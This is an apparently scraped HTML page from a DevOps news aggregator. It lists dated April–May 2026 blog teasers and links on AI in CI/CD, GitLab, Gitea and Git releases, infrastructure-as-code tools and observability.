<h3 id="h3-ai-in-devops-why-adoption-lags-in-cicd-and-what-comes-next" class="group relative scroll-mt-24">
        <a href="#h3-ai-in-devops-why-adoption-lags-in-cicd-and-what-comes-next" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AI in DevOps: Why Adoption Lags in CI/CD (and What Comes Next)
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-ai-in-devops-why-adoption-lags-in-cicd-and-what-comes-next"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI is everywhere except in CI/CD Developers now use AI for nearly everything, except the part that actually ships code. Recent surveys conducted by JetBrains indicate that AI is now widely used in sof</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/teamcity/2026/04/ai-in-devops/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-agent-loop-is-the-new-os" class="group relative scroll-mt-24">
        <a href="#h3-the-agent-loop-is-the-new-os" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Agent Loop is the New OS
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-agent-loop-is-the-new-os"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Harness MCP server treats the AI agent loop as an operating system, mapping the LLM to the CPU and the Context Window to RAM. Learn how this design uses 10 generic, composable tools to abstract co</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/agent-loop-new-os"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitlab-ai-hackathon-2026-meet-the-winners" class="group relative scroll-mt-24">
        <a href="#h3-gitlab-ai-hackathon-2026-meet-the-winners" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitLab AI Hackathon 2026: Meet the winners
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitlab-ai-hackathon-2026-meet-the-winners"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI writes code. That is expected now. But planning, security, compliance, and deployments? Those gaps remain. I have run contributor programs for years. I have never seen a community respond to techno</p>
<p><strong>📅 Apr 22, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/gitlab-ai-hackathon-2026-meet-the-winners/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitlab-patch-release-18111-18104-1896" class="group relative scroll-mt-24">
        <a href="#h3-gitlab-patch-release-18111-18104-1896" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitLab Patch Release: 18.11.1, 18.10.4, 18.9.6
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitlab-patch-release-18111-18104-1896"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Discover what&#39;s in this latest patch release.</p>
<p><strong>📅 Apr 22, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://docs.gitlab.com/releases/patches/patch-release-gitlab-18-11-1-released/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitea-1261-is-released" class="group relative scroll-mt-24">
        <a href="#h3-gitea-1261-is-released" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Gitea 1.26.1 is released
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitea-1261-is-released"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We are excited to announce the release of Gitea 1.26.1! We strongly recommend all users upgrade to this version, as it includes important fixes that address several significant issues since 1.26.0 and</p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 Gitea Blog</strong></p>
<p><a href="https://blog.gitea.com/release-of-1.26.1"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-llm-pricing-comparison-tutorial-best-practices" class="group relative scroll-mt-24">
        <a href="#h3-llm-pricing-comparison-tutorial-best-practices" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 LLM Pricing Comparison: Tutorial & Best Practices
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-llm-pricing-comparison-tutorial-best-practices"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Large Language Models (LLMs) power a wide range of AI applications today.</p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 LaunchDarkly Blog</strong></p>
<p><a href="https://launchdarkly.com/blog/llm-pricing-comparison/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gitlab-amazon-platform-orchestration-on-a-trusted-ai-foundation" class="group relative scroll-mt-24">
        <a href="#h3-gitlab-amazon-platform-orchestration-on-a-trusted-ai-foundation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitLab + Amazon: Platform orchestration on a trusted AI foundation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gitlab-amazon-platform-orchestration-on-a-trusted-ai-foundation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If your team runs GitLab and has a strong AWS practice, a new combination of Duo Agent Platform and Amazon Bedrock is just for you. The model is simple: GitLab acts as your orchestration layer to help</p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 GitLab Blog</strong></p>
<p><a href="https://about.gitlab.com/blog/gitlab-amazon-platform-orchestration-on-a-trusted-ai-foundation/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-changes-to-github-copilot-individual-plans" class="group relative scroll-mt-24">
        <a href="#h3-changes-to-github-copilot-individual-plans" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Changes to GitHub Copilot Individual plans
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-changes-to-github-copilot-individual-plans"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We&#39;re making these changes to ensure a reliable and predictable experience for existing customers. The post Changes to GitHub Copilot Individual plans appeared first on The GitHub Blog.</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/company-news/changes-to-github-copilot-individual-plans/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-highlights-from-git-254" class="group relative scroll-mt-24">
        <a href="#h3-highlights-from-git-254" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Highlights from Git 2.54
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-highlights-from-git-254"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The open source Git project just released Git 2.54. Here is GitHub’s look at some of the most interesting features and changes introduced since last time. The post Highlights from Git 2.54 appeared fi</p>
<p><strong>📅 Apr 20, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/open-source/git/highlights-from-git-2-54/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-iac" class="group relative scroll-mt-24">
        <a href="#h2-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏗️ IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-building-a-center-of-excellence-for-ansible" class="group relative scroll-mt-24">
        <a href="#h3-building-a-center-of-excellence-for-ansible" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building a Center of Excellence for Ansible
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-a-center-of-excellence-for-ansible"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>As Ansible adoption grows, a challenge can arise: How do organizations track automation efforts across the entire enterprise? A common solution is to establish a Center of Excellence (CoE) for Ansible</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/building-center-excellence-ansible"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-policy-packs-can-now-access-pulumi-esc-environments" class="group relative scroll-mt-24">
        <a href="#h3-policy-packs-can-now-access-pulumi-esc-environments" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Policy Packs Can Now Access Pulumi ESC Environments
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-policy-packs-can-now-access-pulumi-esc-environments"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Policy authors who need external credentials or environment-specific configuration have had to hardcode values or manage them outside of Pulumi. Policy packs can now reference Pulumi ESC environments,</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/policy-packs-can-now-access-pulumi-esc-environments/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-how-to-install-terraform-securely-for-scalable-automation" class="group relative scroll-mt-24">
        <a href="#h3-how-to-install-terraform-securely-for-scalable-automation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 How to Install Terraform Securely for Scalable Automation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-how-to-install-terraform-securely-for-scalable-automation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn how to use Terraform securely and at scale. Discover ways to automate, manage, and speed up your infrastructure delivery. Get started with a secure setup today. | Blog</p>
<p><strong>📅 Apr 22, 2026</strong> • <strong>📰 Harness Blog</strong></p>
<p><a href="https://www.harness.io/blog/how-to-install-terraform-for-secure-and-scalable-infrastructure-automation"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-agent-sprawl-is-here-your-iac-platform-is-the-answer" class="group relative scroll-mt-24">
        <a href="#h3-agent-sprawl-is-here-your-iac-platform-is-the-answer" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Agent Sprawl Is Here. Your IaC Platform Is the Answer.
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-agent-sprawl-is-here-your-iac-platform-is-the-answer"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Somewhere in your company right now, a developer is building an AI agent. Maybe it’s a release agent that cuts tags when tests pass. Maybe it’s a cost agent that shuts down idle EC2 overnight. It’s ru</p>
<p><strong>📅 Apr 22, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/agent-sprawl-iac-platform-is-the-answer/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-observability" class="group relative scroll-mt-24">
        <a href="#h2-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📊 Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-digitalocean-dedicated-inference-a-technical-deep-dive" class="group relative scroll-mt-24">
        <a href="#h3-digitalocean-dedicated-inference-a-technical-deep-dive" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 DigitalOcean Dedicated Inference: A Technical Deep Dive
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-digitalocean-dedicated-inference-a-technical-deep-dive"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Getting a model to answer 10 inference requests concurrently is tricky but simple enough; getting it to handle 2,000 engineers hitting a coding assistant with long contexts, all day, without runaway c</p>
<p><strong>📅 Apr 25, 2026</strong> • <strong>📰 DigitalOcean Blog</strong></p>
<p><a href="https://www.digitalocean.com/blog/dedicated-inference-technical-deep-dive"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-beyond-the-abyss-project-poseidons-quest-for-zero-downtime-reliability" class="group relative scroll-mt-24">
        <a href="#h3-beyond-the-abyss-project-poseidons-quest-for-zero-downtime-reliability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Beyond the Abyss Project Poseidon’s Quest for Zero-Downtime Reliability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-beyond-the-abyss-project-poseidons-quest-for-zero-downtime-reliability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In large-scale cloud environments, unpredictable hypervisor crashes carry real operational cost. While traditional reactive monitoring that relies on static thresholds and post-hoc alerts were once th</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 DigitalOcean Blog</strong></p>
<p><a href="https://www.digitalocean.com/blog/project-poseidon-zero-downtime-reliability"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-deprecating-opentracing-compatibility-requirements" class="group relative scroll-mt-24">
        <a href="#h3-deprecating-opentracing-compatibility-requirements" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Deprecating OpenTracing compatibility requirements
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-deprecating-opentracing-compatibility-requirements"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>On March 19, 2026, the OpenTelemetry Specification project merged PR #4938, deprecating OpenTracing compatibility requirements in the specification. This change updates the specification to match wher</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 OpenTelemetry Blog</strong></p>
<p><a href="https://opentelemetry.io/blog/2026/deprecating-opentracing-compatibility/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-when-agents-orchestrate-agents-whos-watching" class="group relative scroll-mt-24">
        <a href="#h3-when-agents-orchestrate-agents-whos-watching" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 When agents orchestrate agents, who's watching?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-when-agents-orchestrate-agents-whos-watching"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Multi-agent AI systems fail silently. Learn what proper observability looks like when agents orchestrate agents, and how Sentry keeps you in control.</p>
<p><strong>📅 Apr 23, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/scaling-observability-for-multi-agent-ai-systems/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-structuring-ai-evaluation-and-observability-with-mlflow-from-development-to-production" class="group relative scroll-mt-24">
        <a href="#h3-structuring-ai-evaluation-and-observability-with-mlflow-from-development-to-production" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Structuring AI Evaluation and Observability with MLflow: From Development to Production
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-structuring-ai-evaluation-and-observability-with-mlflow-from-development-to-production"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Shipping your first AI agent or LLM application feels fulfilling until you have to make changes because it does not work as you intended. Most of us start the same way: we test a few prompts, the resu</p>
<p><strong>📅 Apr 22, 2026</strong> • <strong>📰 MLflow Blog</strong></p>
<p><a href="https://mlflow.org/blog/structured-ai-eval/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-great-stream-fix-interleaving-writes-in-seastar-with-ai-powered-invariants-tracing" class="group relative scroll-mt-24">
        <a href="#h3-the-great-stream-fix-interleaving-writes-in-seastar-with-ai-powered-invariants-tracing" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Great Stream Fix: Interleaving Writes in Seastar with AI-Powered Invariants Tracing
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-great-stream-fix-interleaving-writes-in-seastar-with-ai-powered-invariants-tracing"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>How we used AI-assisted invariant-based testing to locate and resolve tricky hidden bugs with complex state transitions</p>
<p><strong>📅 Apr 21, 2026</strong> • <strong>📰 ScyllaDB Blog</strong></p>
<p><a href="https://www.scylladb.com/2026/04/21/interleaving-writes-in-seastar/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-introducing-pyroscope-20-faster-more-cost-effective-continuous-profiling-at-scale" class="group relative scroll-mt-24">
        <a href="#h3-introducing-pyroscope-20-faster-more-cost-effective-continuous-profiling-at-scale" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Introducing Pyroscope 2.0: faster, more cost-effective continuous profiling at scale
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-introducing-pyroscope-20-faster-more-cost-effective-continuous-profiling-at-scale"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
